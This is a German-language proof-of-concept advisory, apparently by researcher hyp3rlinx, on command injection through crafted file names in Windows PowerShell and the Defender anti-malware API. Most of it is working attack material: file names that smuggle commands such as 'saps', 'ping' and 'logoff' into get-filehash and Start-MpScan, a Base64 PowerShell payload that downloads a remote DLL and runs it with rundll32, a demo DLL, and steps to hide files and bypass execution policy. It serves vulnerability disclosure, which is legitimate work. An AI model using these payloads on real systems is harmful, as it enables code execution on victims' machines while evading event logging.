
Ungepatchter Windows PowerShell PoC zur Codeausführung über Dateinamen
Windows PowerShell Dateiname und Defender Anti-Malware API - Code Execution POC
Entdeckt von John Page (alias hyp3rlinx) 2019 und erneut geprüft 2023
Aktualisiert am 24. Dez. 2023
Umgehung des Hindernisses einfacher Anführungszeichen in PowerShell für Code-Ausführung und Bonus: PS Windows Eventlog versagt!
Semikolon und Freund "&"-Operator vereinen sich für beliebige Code-Ausführungsfähigkeiten.
Ungewollte Malware ausführen:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5
ODER
Windows Defender Anti-Malware-Scan:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'
Wobei Malware.exe im selben Verzeichnis liegt, denken Sie an Drive-by-Download.
Windows Eventlog versagt, PS-Ereignis-ID 403 protokolliert den echten Dateinamen aufgrund von Kürzung nicht:
PS-Protokollauszug:
HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803
Ping-cmd aufrufen? Warum nicht
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5
Opfer abmelden:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'
Aktualisiert: 7. Dez. 2023, CL- und Windows Defender-API-Vektor hinzugefügt, siehe unten:
Da es immer noch funktioniert, habe ich es abgestaubt und kleinere Verbesserungen vorgenommen:
Erstmals 2019 an Microsoft gemeldet und bleibt bis zum Zeitpunkt dieses Schreibens ungefixt.
Remote-Code-Ausführung über einen speziell präparierten Dateinamen.
Der Fehler liegt am Semikolon ";" wir können einen Base64-Befehl dekodieren und direkt aus dem PS1-Dateinamen ausführen oder einfach Befehle ausführen.
Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1
Befehle sofort aufrufen
"Testing;saps (gc -) PoC;.ps1"
Vektoren: Doppelklick, Ziehen und Ablegen auf PS-Verknüpfung
Nutzt alternative Kurzform-PS-Befehle wie "saps", "gc" zum Starten eines Prozesses und Get-Content usw.
Erstellen Sie eine trojanische PS1-Datei, die versucht, eine entfernte DLL namens "1.d" herunterzuladen und auszuführen.
Python:
from base64 import b64encode
b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))
cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA
DLL-Code:
#include <windows.h>
//gcc -shared -o mydll.dll mydll.c -m32
//hyp3rlinx
void evilo(void){
MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
evilo();
return 0;
}
python -m http.server 80
Doppelklicken Sie auf die trojanische PS1-Datei.
Erstellen Sie eine PS1-Datei mit einem Namen, der saps "start a process" und gc "get-content" enthält. Dadurch werden Befehle aus einer versteckten Datei gelesen.
"Test;saps (gc -) PoC;.ps1"
Versteckt erstellen: attrib +s +h "-"
Doppelklick oder Ziehen und Ablegen.
a) PowerShell-PS1-Dateien müssen so eingestellt sein, dass sie standardmäßig mit PowerShell geöffnet werden
b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
c) Der Benutzer muss auf das böswillig benannte PS1-Skript doppelklicken, es über die Befehlszeile ausführen oder per Drag & Drop ablegen

Update: Microsoft Defender Anti-Malware PowerShell API - Beliebige Codeausführung.
Microsoft Defender Anti-Malware und/oder PS-APIs können zur Ausführung von beliebigem Code führen. Z. B. das Scannen eines Verzeichnisses, einer .lnk-Verknüpfung oder sogar eines nicht vorhandenen Elements kann unbeabsichtigten Code ausführen. Dieser Vektor baut auf meinem früheren Advisory und dem anschließenden Projekt PSTrojanFile auf.
Anforderungen:
Beispiele:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip"
(Helper.exe befindet sich auf dem Desktop)
Verzeichnis erstellen ";saps Test", Test.exe, Test.cmd usw. befinden sich auf demselben CL-Pfad
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"
Verzeichnis mit Semikolon erstellen, PE-Datei namens doom.exe im selben Pfad ablegen.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"
Nicht zuletzt:
Beim Abrufen eines Dateihashs in PowerShell werden Sie abgemeldet :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"